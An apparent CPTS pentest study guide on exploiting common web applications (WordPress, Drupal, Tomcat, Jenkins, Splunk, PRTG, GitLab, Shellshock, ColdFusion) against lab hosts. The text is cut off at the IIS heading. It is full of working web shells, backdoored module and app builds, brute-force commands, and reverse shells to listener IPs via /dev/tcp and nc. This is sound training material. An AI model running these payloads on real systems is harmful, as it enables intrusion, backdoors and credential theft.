FLOW ^: Pentest Workflow

Attacking Common Applications — Full Guide

Detailed CPTS walkthrough for footprinting and exploiting common apps: WordPress, Joomla, Drupal, Tomcat, Jenkins, Splunk, PRTG, osTicket, GitLab, CGI/Shellshock, thick clients, ColdFusion, IIS tilde, LDAP injection, mass assignment, and connection-string recovery.

intermediate updated 2026-09-15 nmap · eyewitness / aquatone / httpx · wpscan · droopescan

← Condensed cheat sheet · Workflow dashboard · Web enum deep-dive

Attacking Common Applications — Full Guide fas:ClipboardList

[!dashboard] What this is The long-form companion to the Attacking Common Applications cheat sheet. The cheat sheet is the card you keep open during a box; this guide is the walkthrough that explains why each step works, section by section, across the whole CPTS module. Reach for the cheat sheet mid-engagement and this guide when you’re learning the material or writing it up.

Off-the-shelf applications are the softest part of most networks. A company patches its OS fleet and hardens AD, then leaves a Tomcat manager on tomcat:tomcat, a Splunk trial that quietly lost its login, or a WordPress plugin that hasn’t shipped a fix since 2016. These apps sit on both the perimeter and the internal network, and one weak credential or forgotten install is often the whole foothold.

Every target in this module answers to the same loop, so learn the loop rather than memorising eleven separate exploits:

App attack loopTD
Sweep web ports80,443,8000,8080,8180,8500,8009,8089,10000
Fingerprint app + exact version(headers, generator meta, changelog,default paths, favicon)
Reach the admin/management console(default creds → weak-password spray → OSINT)
Turn access into code execution
Built-in feature:theme/template editor, script console,WAR/app/plugin upload, notification exec
Version-specific CVE(traversal, unauth upload, deserialisation)
Shell as the service account(often SYSTEM or root)
Loot creds → pivot →local privilege escalation

[!danger] Authorised testing only Every technique below is full exploitation — unauth RCE, credential theft, backdoored uploads. Run it only against systems you are explicitly authorised to test (a lab, a signed engagement). Three things to keep honest on a real assessment:

  1. Admin-console RCE plants a live backdoor. A web shell in 404.php, an uploaded WAR, a malicious Splunk app — each is a real backdoor on a real box. Track every artefact you drop, its full path, and remove it at cleanup.
  2. Some chains are destructive. Joomla’s CVE-2019-10945 can delete directories; Drupalgeddon writes to the database. Prefer read-only proof where you can.
  3. OSINT and breach-data lookups touch third parties. Keep them inside the rules of engagement.

[!success]+ Landing a shell — implant + hand-off fas:Spider Match the web-shell language to the server, then hand off to the right privesc guide:

  • PHP (WordPress, Joomla, Drupal, osTicket): drop rp-shell.php or a one-line system($_GET[...]).
  • JSP (Tomcat, ColdFusion-on-Java): package rp-shell.jsp as a WAR.
  • ASP/ASPX (IIS): VBScript → .asp, C# → .aspx. Cross the wires and IIS answers Server Error in '/' Application.
  • Windows app host (IIS, PRTG, Jenkins-on-Windows, ColdFusion): Windows PrivEsc — service accounts here almost always hold SeImpersonatePrivilege.
  • Linux app host (WordPress, Drupal, GitLab, Splunk, CGI): Linux PrivEsc. Full shell catalogue and handler notes: Web Shells.

1 · Application discovery at scale fas:Terminal

Browsing every IP:port by hand does not scale past a handful of hosts. The workable approach is two Nmap passes feeding a screenshotter, so a wall of open ports becomes a ranked list of applications worth opening.

Discovery at scaleLR
Scope list
Fast web-port sweep(-p 80,443,8000,8080,8180,8888,10000)
Targeted -sV on responders(this is what names Splunk/PRTG)
Screenshot triageEyeWitness / Aquatone / gowitness
Review high-value hits first(dev/qa/acc vhosts on top)
Per-app footprint + exploit

Lab exercises with FQDN vhosts need /etc/hosts entries first, since every vhost resolves to the one spawned IP:

IP=10.129.42.195
printf "%s\t%s\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts

Sweep the scope for the ports web apps and their management consoles live on, writing all three Nmap formats so the XML can feed a screenshotter:

sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list

--open drops closed/filtered noise; -oA writes .nmap/.gnmap/.xml; -iL reads targets from a file. Then run version detection on anything that answered — this is the step that turns “http on a weird port” into “Splunkd on 8000, PRTG on 8080”:

sudo nmap --open -sV 10.129.201.50
80/tcp   open  http     Microsoft IIS httpd 10.0
8000/tcp open  http     Splunkd httpd
8080/tcp open  http     Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
8089/tcp open  ssl/http Splunkd httpd (free license; remote login disabled)

Feed the XML to a screenshotter and review the report — high-value targets surface first, and identical default landing pages cluster together so you can skip a fleet of clones:

# EyeWitness (Selenium-driven, ships on Kali)
eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness

# Aquatone (pipe the same Nmap XML)
cat web_discovery.xml | ./aquatone -nmap

[!tip]+ Modern triage — httpx + nuclei fas:Lightbulb EyeWitness and Aquatone still work and still ship on Kali, but the Go tooling is faster and better maintained. httpx -screenshot probes and fingerprints huge lists quickly and pipes straight into nuclei for follow-on scanning; gowitness is a headless-Chrome screenshotter that sets up in seconds. Fold Splunk’s Splunkd httpd, PRTG’s Indy httpd, and Tomcat’s Server banner into a nuclei fingerprint pass across the whole scope.

[!info] Flag the non-prod vhosts first Hostnames with dev, qa, acc, stage, or test are patched last and gated loosest — verbose errors, debug modes, half-finished features. When the screenshot report lists a dozen sites, start there.


2 · WordPress fas:Terminal — PHP, port 80

WordPress logo
WordPress · world's most common CMS

WordPress runs roughly a third of the web, so it turns up on almost every external test. The risk lives in its ~50k-plugin ecosystem, not in core — over half of known WordPress CVEs are plugin or theme bugs. Two reliable routes to code execution: brute an admin login and use the built-in Theme Editor, or exploit a vulnerable plugin directly.

WordPress to RCETD
Footprint: robots.txt,page source, wp-admin redirect
Enumerate plugins/themes/users
WPScan + manual review
Weak admin creds
XML-RPC / wp-login brute force
Appearance → Theme Editor →edit 404.php of an inactive theme
system($_GET[...]) web shell
Vulnerable plugin
Direct exploit(mail-masta LFI, wpDiscuz upload)
www-data shell

Footprint. The wp-admin/wp-content paths (also in robots.txt) are the fastest tell — hitting /wp-admin redirects to wp-login.php. Grepping the homepage source reveals the active theme, every enqueued plugin, and each version string:

curl -s http://blog.inlanefreight.local | grep -Ei 'wordpress|themes|plugins'
#  <meta name="generator" content="WordPress 5.8" />
#  ...wp-content/themes/transport-gravity/...   ?ver=5.8

A directory listing on wp-content/plugins/<plugin>/ often exposes a readme.txt that pins the exact plugin version for a CVE lookup. WordPress’s default login also leaks valid usernames: “unknown user” and “wrong password” produce different errors — an enumeration oracle WPScan drives with --enumerate u.

Enumerate with WPScan. An API token cross-references identified versions against the live vuln database (free tier: 75 requests/day):

sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token <TOKEN>
#  --enumerate with no arg = plugins, themes, users, media, backups
#  --enumerate ap = all plugins   ·   --enumerate u = users

[!warning] Scanners and manual review are complementary In the module’s own run, WPScan corrected the theme guess and found a second user (john) — but missed two plugins (wpDiscuz, Contact Form 7) that a plain curl | grep caught. Always do both. waybackurls can also surface plugin paths that were unlinked but never deleted from disk — exactly what left mail-masta exploitable.

Brute force over XML-RPC. xmlrpc.php accepts many login attempts per request, so it is far faster than hammering wp-login.php:

sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
#  [SUCCESS] - john / firebird1

RCE via the Theme Editor. Any Administrator can edit theme PHP in the browser — admin is effectively RCE. Edit an inactive theme so you don’t break the live site, and use an unguessable parameter name so a passer-by can’t reuse your shell:

// Appearance → Theme Editor → Twenty Nineteen → 404.php
system($_GET[0]);
curl "http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id"
#  uid=33(www-data) gid=33(www-data) groups=33(www-data)

The whole flow is automated by exploit/unix/webapp/wp_admin_shell_upload (uploads a malicious plugin carrying a PHP Meterpreter, then self-cleans on session close).

Vulnerable plugins, no login needed.

# mail-masta — unauthenticated LFI (pl= goes straight into include())
curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"

# wpDiscuz CVE-2020-24186 — client-side-only MIME check → PHP upload
python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1
curl -s "http://blog.inlanefreight.local/wp-content/uploads/2021/08/<uploaded>.php?cmd=id"

3 · Joomla fas:Terminal — PHP/MySQL

Joomla logo
Joomla · PHP/MySQL CMS

Third-most-used CMS. Unlike WordPress, the login returns a generic error for any wrong field, so username enumeration doesn’t work — footprinting leans on files, and brute forcing targets the known admin account with a password list.

Joomla to RCETD
Footprint: generator meta,README.txt, robots.txt
Version: joomla.xml, cache.xml
droopescan / JoomlaScan
Admin access?
Weak/default admin
Templates → Customise → error.php
system($_GET[...]) web shell
No admin
CVE-2019-10945 traversal(auth; also deletes files)

Footprint and version. The generator meta tag, robots.txt (references /administrator/), and README.txt are the quick tells. Two XML files leak the exact version when readable:

curl -s http://dev.inlanefreight.local/ | grep Joomla
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -
#  <version>3.9.4</version>          (also plugins/system/cache/cache.xml)

whatweb is a fast passive cross-check. droopescan has only light Joomla support — expect useful paths, not a full plugin list:

droopescan scan joomla --url http://dev.inlanefreight.local/

[!tip] JoomlaScan is Python 2.7 and effectively abandoned It still runs but treat it as supplementary. There’s no drop-in successor with the same feature set — droopescan plus manual curl/whatweb is the more reliable Joomla combination now.

Brute the admin login (generic error → spray passwords against admin):

sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
#  Success: admin:admin

RCE via the template Customise editor — same idea as WordPress’s Theme Editor:

// Configuration → Templates → protostar → Customise → error.php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id"

Pre-/post-auth fallback — CVE-2019-10945 (core 1.5.0–3.9.4): an authenticated directory traversal that lists and deletes arbitrary directories. Useful when the admin portal isn’t externally reachable but you have a session another way. File deletion is destructive — avoid it on a live assessment.

python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /

4 · Drupal fas:Terminal

Drupal Druplicon logo
Drupal · the Druplicon

Smaller share overall but common in government and higher-ed. Its content model — every item is a “node” at /node/<id> — is a fingerprint on its own. Admin access alone isn’t instant RCE here: you enable the PHP Filter module, upload a backdoored module, or use one of the three Drupalgeddon CVEs.

Drupal to RCETD
Footprint: 'Powered by Drupal',CHANGELOG.txt, /node/<id> droopescan: version + modules Admin access? Drupalgeddon SQLi→ rogue admin Enable PHP Filter module→ Basic page with PHP code Install PHP Filter manually,then as above Upload backdoored module(shell.php + .htaccess) www-data shell No admin Drupal 7 Drupal 8+ Any version

Footprint. Powered by Drupal, the Drupal logo, CHANGELOG.txt/README.txt, and /node/<id> URIs. Newer versions block CHANGELOG.txt, so a 404 there doesn’t rule Drupal out — fall back to droopescan, which has mature Drupal support:

curl -s http://drupal.inlanefreight.local | grep -i drupal
curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""    # Drupal 7.57, 2018-02-21
droopescan scan drupal -u http://drupal.inlanefreight.local

RCE — PHP Filter module (Drupal 7). Ships with core but disabled. Enable it, then create a Basic page with the “PHP code” text format:

<?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?>
curl -s "http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id"

Drupal 8 removed the module from core — download and install it manually (Reports → Available updates → Install new module), then exploit identically.

RCE — backdoored module upload (any version). Drupal blocks direct access to /modules, so bundle an .htaccess that re-enables it alongside your shell inside a legitimate module archive:

wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz && tar xvf captcha-8.x-1.2.tar.gz
# shell.php:  <?php system($_GET['fe8edbabc5c5c9b7b764504cd22b17af']); ?>
# .htaccess:  <IfModule mod_rewrite.c>\n RewriteEngine On\n RewriteBase /\n</IfModule>
mv shell.php .htaccess captcha && tar cvf captcha.tar.gz captcha/
#  Manage → Extend → + Install new module → captcha.tar.gz
curl -s "http://drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id"

Drupalgeddon family:

# CVE-2014-3704 (Drupalgeddon) · pre-auth SQLi, 7.0–7.31 → inserts a rogue admin
python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd
#  msf: exploit/multi/http/drupal_drupageddon

# CVE-2018-7600 (Drupalgeddon2) · pre-auth RCE, <7.58 / <8.5.1
python3 drupalgeddon2.py       # edit the PoC's write step to drop a base64 PHP shell instead of hello.txt
curl "http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id"

# CVE-2018-7602 (Drupalgeddon3) · authenticated RCE (needs node-delete rights + session cookie)
#  msf: set DRUPAL_SESSION <cookie> ; set DRUPAL_NODE 1 ; set VHOST drupal-acc.inlanefreight.local

[!tip] Prefer the Metasploit modules The standalone Drupalgeddon PoCs are Python 2 (end-of-life). drupal_drupageddon and drupal_drupageddon3 do the same job without a legacy interpreter on your attack box.


5 · Tomcat fas:Terminal — 8080/8180, AJP 8009

Apache Tomcat logo
Apache Tomcat · Java servlet container

Apache Tomcat serves Java servlets/JSP and is more common internally than externally. Weak creds on /manager or /host-manager let you deploy a WAR (a zipped JSP shell) through the GUI or API — near-instant RCE, usually as a very privileged service account.

Tomcat to RCETD
Footprint: Server header, /docs
Find /manager, /host-manager
Brute the manager login
Success
Deploy JSP-in-WARvia GUI/API
Shell as Tomcat account(often SYSTEM/root)
No manager
AJP 8009 → GhostcatCVE-2020-1938 file read
Read WEB-INF/web.xml, configs

[!info] Tomcat layout worth knowing conf/tomcat-users.xml holds manager credentials and roles (manager-gui, manager-script, manager-jmx, manager-status). webapps/<app>/WEB-INF/web.xml is the deployment descriptor mapping routes to classes — a prime target for any file-read primitive.

Footprint and locate the manager. The Server header leaks the version when a proxy hasn’t stripped it; /docs is a reliable fallback. Content-discovery confirms the manager apps:

curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat     # Apache Tomcat 9 (9.0.30)
feroxbuster -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 50
#  /manager (302) · /host-manager (302)

Brute the manager login (Basic Auth — creds are base64 user:pass in the Authorization header):

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 10.129.201.58
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.inlanefreight.local
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
#  [+] Login Successful: tomcat:admin

Deploy a WAR-packaged JSP shell. A WAR is just a zip; Tomcat auto-extracts uploads and serves them at /<archive-name>/:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
#  Manager → Deploy → backup.war
curl "http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id"     # uid=1001(tomcat)
#  Reverse-shell WAR in one line:
#  msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > backup.war

Undeploy the app after use and record the upload path ($CATALINA_HOME/webapps/) for the report.

CVE-2020-1938 (Ghostcat) — unauthenticated AJP file read on Tomcat < 9.0.31 / 8.5.51 / 7.0.100. The AJP connector (normally for front-end proxying) reads files under webapps/ — not the whole filesystem, but enough to pull WEB-INF/web.xml:

nmap -sV -p 8009,8080 app-dev.inlanefreight.local          # 8009 ajp13 Apache Jserv
python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml

CVE-2019-0232 — CGI Servlet command injection, Windows only, with enableCmdLineArguments set. The query string isn’t sanitised before becoming command-line arguments, so & chains a command onto a legitimate .bat/.cmd CGI script. The special-char filter is bypassable with URL encoding:

ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat   # welcome.bat
#  http://10.129.204.227:8080/cgi/welcome.bat?&dir
#  http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe

6 · Jenkins fas:Terminal — 8080 (agent 5000)

Jenkins butler mascot logo
Jenkins · CI/CD automation server

Jenkins is a CI server that frequently runs as SYSTEM (Windows) or root (Linux). Any authenticated access — even anonymous, if misconfigured — reaches the /script Groovy console, and Groovy compiles to JVM bytecode running with the full privileges of the Jenkins process. That makes it a fast, privileged foothold straight into an AD environment, skipping local privesc entirely.

Jenkins to RCETD
Fingerprint login on :8080
Auth?
None / weak creds
Anon build+job rights
/script Groovy console
Runtime.exec() → reverse shell
Shell as SYSTEM/root

Access the console at http://jenkins.inlanefreight.local:8000/script. Run a command:

def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

Reverse shell (Linux) — pass the payload as a raw process array to dodge Groovy string-interpolation issues:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
nc -lvnp 8443     # → uid=0(root)

Windows"cmd.exe /c dir".execute() runs commands; a PowerShell download cradle or a raw Java-socket reverse shell avoids leaving a permanent change (and dodges PowerShell monitoring).

[!tip] Check misconfig before hunting CVEs The old chained sandbox-bypass RCEs (CVE-2018-1999002 + CVE-2019-1003000) were fixed by the 2.303.1 LTS. Against a modern install, checking whether anonymous users have read/build/job-create rights is usually more productive than a version-specific exploit. Confirm the LTS version first.


7 · Splunk fas:Terminal — 8000 (mgmt 8089)

Splunk logo
Splunk · log analytics / SIEM

Splunk has few exploitable CVEs; the risk is weak or absent auth plus built-in functionality. A forgotten Enterprise trial silently downgrades to the auth-free Free edition after 60 days. Once you have admin — via no auth or weak creds — a custom app with a scripted input runs an arbitrary script on a schedule, as the Splunk service account (often SYSTEM/root).

Splunk to RCETD
Fingerprint: Splunkd httpdon 8000/8089
Auth?
Trial expired → Free
Direct admin, no creds
Weak default
admin:changeme / weak pw
Custom app: bin/ script +default/inputs.conf
tar.gz → Install app from file
Scripted input fires→ reverse shell
Shell as Splunk account(often SYSTEM)

Fingerprint. Both 8000 and 8089 reporting Splunkd httpd is definitive. Try admin:changeme (shown on old login pages) and common weak passwords if the trial scenario doesn’t apply.

Build a malicious app. Two files: the script Splunk runs, and the inputs.conf that schedules it (the interval field is mandatory — no interval, no execution):

# splunk_shell/default/inputs.conf
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
:: splunk_shell/bin/run.bat  →  launches a hidden PowerShell reverse shell
@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit

Package and upload — the app enables on upload and fires within interval seconds:

tar -cvzf updater.tar.gz splunk_shell/
sudo nc -lnvp 443
#  Manage Apps → Install app from file → updater.tar.gz → Upload   →  whoami: nt authority\system

[!info] Pivot via a deployment server If the compromised instance is a Splunk deployment server, dropping the app in $SPLUNK_HOME/etc/deployment-apps pushes it to every Universal Forwarder that checks in — one box becomes RCE across the fleet. Full Splunk ships Python (great for a Linux payload); Universal Forwarders don’t, so use PowerShell on a Windows fleet.


8 · PRTG Network Monitor fas:Terminal — 8080

PRTG Network Monitor logo
PRTG Network Monitor · Paessler

PRTG (Paessler, Delphi) is an agentless monitor, rarely internet-facing but common internally (and the HTB box Netmon). Default prtgadmin:prtgadmin is often pre-filled and unchanged. Once in, CVE-2018-9276 turns a notification’s “Execute Program” action into command execution as the PRTG account — frequently local admin.

PRTG to RCELR
Fingerprint: Indy httpd(Paessler PRTG)
Login: default/weak creds
Account Settings → Notifications→ Add new
EXECUTE PROGRAM → outfile.ps1+ malicious Parameter
Click Test → command runs

Fingerprint and version. Indy httpd ... Paessler PRTG bandwidth monitor in the banner is definitive; 17.3.33.2830 predates the 18.2.39 fix:

sudo nmap -sV -p- --open -T4 10.129.201.50
curl -s "http://10.129.201.50:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep version

Exploit CVE-2018-9276. The Parameter field is concatenated unsanitised into the PowerShell behind outfile.ps1, so a ; chains your own command. It’s blind — PRTG gives no feedback:

Setup → Account Settings → Notifications → Add new notification
Program File:  Demo exe notification - outfile.ps1
Parameter:     test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
Save → Test

Confirm out of band (scheduling instead of Test also gives lightweight persistence):

sudo nxc smb 10.129.201.50 -u prtgadm1 -p 'Pwn3d_by_PRTG!'     # (Pwn3d!) = local admin over SMB

[!tip] CrackMapExec → NetExec crackmapexec is superseded by the maintained fork NetExec (nxc) — same syntax family. On a real test, prefer a reverse shell over adding an account to keep the footprint small.


9 · osTicket fas:Terminal — methodology, not a CVE

osTicket logo
osTicket · support ticketing

osTicket is well-maintained with a thin CVE history, so this section is a pattern that applies to any helpdesk (Zendesk, Freshdesk, Jira Service Desk): support portals hand out real company email addresses, and the humans running them leak credentials. This is the chain behind HTB’s Delivery.

osTicket methodTD
Fingerprint: OSTSESSID cookie,'powered by' footer
Submit a ticket →get a company email address
Register on other portalswith that address
OSINT breach data (Dehashed)
Try leaked creds on the portal
Read closed tickets:password resets, VPN issues
Reused / new-joiner password→ spray other services

Fingerprint. Nmap only sees the webserver — the OSTSESSID cookie and footer branding identify osTicket.

Harvest an address. Submitting a ticket returns a dedicated reply-to address — a valid company email you can use to self-register on other services requiring email verification.

Cross-reference breach data against the domain:

sudo python3 dehashed.py -q inlanefreight.local -p
#  email: kevin@inlanefreight.local · username: kgrimes · password: Fish1ng_s3ason!

Try both username and email on any login — kevin@… succeeded where kgrimes failed. Then mine the agent’s closed tickets: password resets, VPN troubleshooting, and the classic “standard new-joiner password” sent in plaintext are all fair game. Export the address book as a ready-made spray list (linkedin2username helps build one from employee names).

[!tip] Newer replacements exist Dehashed is the module’s reference; Have I Been Pwned (API-gated) and intelx.io are common complements. Keep every breach-data lookup inside the engagement’s rules of engagement.


10 · GitLab fas:Terminal — lab port 8081

GitLab tanuki logo
GitLab · self-hosted Git + CI/CD

Self-hosted Git with wikis, issues, and CI/CD. Public and internal repos leak hardcoded secrets, SSH keys, and infra clues. GitLab has a long CVE list, but the most reliable finding is usually that self-registration is on, letting you walk in and browse internal projects.

GitLab methodTD
Fingerprint: login page, logo
Browse /explore (public projects)
Self-registration on?
Yes
Register → internal projects
Mine repos: secrets, keys, config
GitLab CE ≤ 13.10.2:ExifTool metadata RCE
Shell as git user
No
Enumerate users via'email already taken'

Fingerprint and enumerate. The version only shows on /help after login, but /explore lists public projects unauthenticated — check it first. Username enumeration works via the registration oracle (“Email has already been taken”) even when sign-up is disabled, because /users/sign_up stays reachable:

./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
#  [+] The username root exists!   [+] The username bob exists!

[!info] Lockout shapes your brute force GitLab’s default is 10 failed attempts, 10-minute auto-unlock, not changeable from the UI (it needs a source rebuild). Pace credential attacks against a discovered user list accordingly. GitLab doesn’t even class username enumeration as a bug — but it directly feeds spray lists.

Register and mine repos for hardcoded credentials, committed secrets in history, snippets, and stray SSH keys.

CVE — GitLab CE ≤ 13.10.2 authenticated RCE via ExifTool (self-registration makes the required creds trivial):

python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 \
  -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f'
nc -lnvp 8443       # → uid=996(git)

[!tip] The unauth successor CVE-2021-22205 is an unauthenticated ExifTool RCE in a slightly later range and the more commonly cited GitLab bug. GitLab patches fast — always match the exact CE/EE version against current advisories before trusting either.


11 · CGI & Shellshock fas:Terminal

Shellshock vulnerability logo
Shellshock · CVE-2014-6271 (Bash)

CGI is legacy middleware that hands requests to scripts in cgi-bin. It’s mostly gone from modern servers but lingers on embedded/IoT gear. The classic attack is Shellshock (CVE-2014-6271): vulnerable Bash (≤ 4.3) mis-parses a function definition in an environment variable and runs anything appended after it — and CGI copies HTTP headers into environment variables.

CGI ShellshockTD
Discover cgi-bin scripts
Test User-Agent header oracle
Bash bug present?
Yes
Chain command afterthe function definition
Reverse shell as web user
No
Patched — move on

Understand the bug — everything after the closing }; runs on a vulnerable shell:

env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"
#  vulnerable host prints "vulnerable-shellshock" as well

Discover a CGI script (a 200 with zero length still counts — it just produced no output for a GET):

feroxbuster -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi
#  /access.cgi (200) [Size: 0]

Confirm via User-Agent, then shell — the double echo ; gives a clean response separator:

# read a file
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' http://10.129.204.231/cgi-bin/access.cgi
# reverse shell
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi
sudo nc -lvnp 7777      # → www-data

Referer and Cookie can be injection points too — any header CGI turns into an environment variable works.


12 · Thick client applications fas:Terminal

Thick (fat) clients run real logic locally — Java/.NET/C++ CRMs, internal utilities, project tools. They dodge browser bugs (XSS, CSRF) but fall to hardcoded credentials, insecure local storage, DLL hijacking, and — for three-tier apps — the same SQLi/path-traversal you’d find on the web, once you reverse the protocol.

Thick client methodTD
Info gathering:architecture, language, entry points
Static: disassemble/decompile
Network: Wireshark/Burpon client↔server traffic
Patch client logic:ports, filters, validation
Exploit server bugs:SQLi, path traversal
Dynamic: ProcMon, debugger,memory dump

[!info] Two-tier vs three-tier Two-tier: client talks straight to the DB — the client binary can potentially reach it directly. Three-tier: client → app server → DB. Safer by design, but the middle tier becomes attackable with web-style bugs once you reverse its protocol.

Toolkit — reversing: Ghidra, IDA, dnSpyEx, x64dbg, JADX, JD-GUI, de4dot. Dynamic: Process Monitor, Frida, OllyDbg. Network: Wireshark, tcpdump, Burp (for proxyable TCP).

Capture a self-cleaning dropper’s payload (the Restart-Oracle-Service scenario). The EXE drops a .bat, decodes a base64 EXE, runs it, deletes both. Deny delete on the temp folder before re-running so the artefacts survive:

ProcMon64 → watch %LOCALAPPDATA%\Temp for the dropped file
Temp → Properties → Security → Advanced → Disable inheritance
      → deselect "Delete subfolders and files" and "Delete"
Re-run the EXE → the .bat now survives (it base64-decodes oracle.txt → restart-service.exe)

Recover hardcoded creds from memory. In x64dbg, restrict breakpoints to Exit so you land in the app’s own code, find an -RW- region with an MZ header (an in-memory PE hiding from disk AV), and dump it:

strings64.exe .\restart-service_00000000001E0000.bin      # .NETFramework,Version=v4.0
#  de4dot deobfuscates the dump → dnSpy reads it as near-original C# with creds inline

Reverse a client/server app (Fatty, condensed). Patch the hardcoded port in the JAR’s Spring config, then strip the JAR’s own integrity check so the modified client runs:

Select-String -Path fatty-client\* -Pattern "8000" -Recurse    # beans.xml <constructor-arg index="1" value="8000"/>
#  edit the port; delete SHA-256 digests from META-INF/MANIFEST.MF and the .RSA/.SF files; jar -cmf to rebuild

Bypass client-side access control (path traversal). The server strips / from folder names, but the client decides what to send — decompile and patch it to send ..:

JD-GUI → decompile → ClientGuiTest.java: currentFolder = "configs"  →  ".."
javac -cp fatty-client-new.jar ...\ClientGuiTest.java     # swap only the patched .class into the JAR

SQLi in the decompiled server logic. The username is concatenated into the query; the password is hashed client-side (SHA-256(user+pass+secret)), so ' OR '1'='1 fails the hash compare. A UNION injection supplies every column directly, and patching setPassword() to send plaintext makes the client value match the injected literal:

// server: "SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'"
// login:  qtc' UNION SELECT 1,'abc','a@a','abc','admin      (password: abc)

[!tip] Maintained forks dnSpy is archived — use dnSpyEx. Ghidra is a fully viable free IDA alternative for native code; reach for IDA only where its decompiler handles a specific architecture better. Frida hooks a suspected function without a full static pass.


13 · ColdFusion fas:Terminal — port 8500

Adobe ColdFusion logo
Adobe ColdFusion · CFML app server

ColdFusion (CFML, Adobe) is Java-based with a recognisable footprint: .cfm/.cfc extensions, port 8500 for SSL, and /CFIDE/administrator/. Older versions carry a traversal that leaks the encrypted datasource store and an unauth RCE via the bundled FCKeditor.

ColdFusion to RCETD
Fingerprint: 8500, .cfm/.cfc,/CFIDE/administrator/
searchsploit adobe coldfusion
Version
≤ 9.0.1
CVE-2010-2861traversal → password.properties
≤ 8.0.1
CVE-2009-2265FCKeditor unauth RCE
Upload JSP → shell as CF account

Fingerprint on port 8500 + CFIDE/cfdocs in the webroot; the admin login often discloses the major version. Then match exploits:

nmap -p- -sC -Pn 10.129.247.30 --open      # 8500/tcp open fmtp
searchsploit adobe coldfusion
#  Directory Traversal ............ multiple/remote/14641.py
#  ColdFusion 8 - RCE ............. cfm/webapps/50057.py

CVE-2010-2861 — traversal to leak password.properties (mishandled locale param in several bundled .cfm files). Values are encrypted, but it’s the credential store for every datasource CF connects to:

python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
#  password=2F635F...  encrypted=true

CVE-2009-2265 — unauth RCE via the FCKeditor connector (/CFIDE/scripts/ajax/FCKeditor/.../upload.cfm accepts an arbitrary file upload). The PoC uploads a JSP, triggers it, and cleans up:

python3 50057.py      # generates + uploads JSP payload, catches the shell as the CF service account

[!tip] Both CVEs are CF 8/9-era Current ColdFusion (2021/2023) has a very different, hardened surface. Confirm the version from /CFIDE/administrator or the Server header before assuming either applies; pair searchsploit with a manual NVD/vendor check.


14 · IIS tilde (8.3 short-name) enumeration fas:Terminal

Microsoft IIS logo
Microsoft IIS · Windows web server

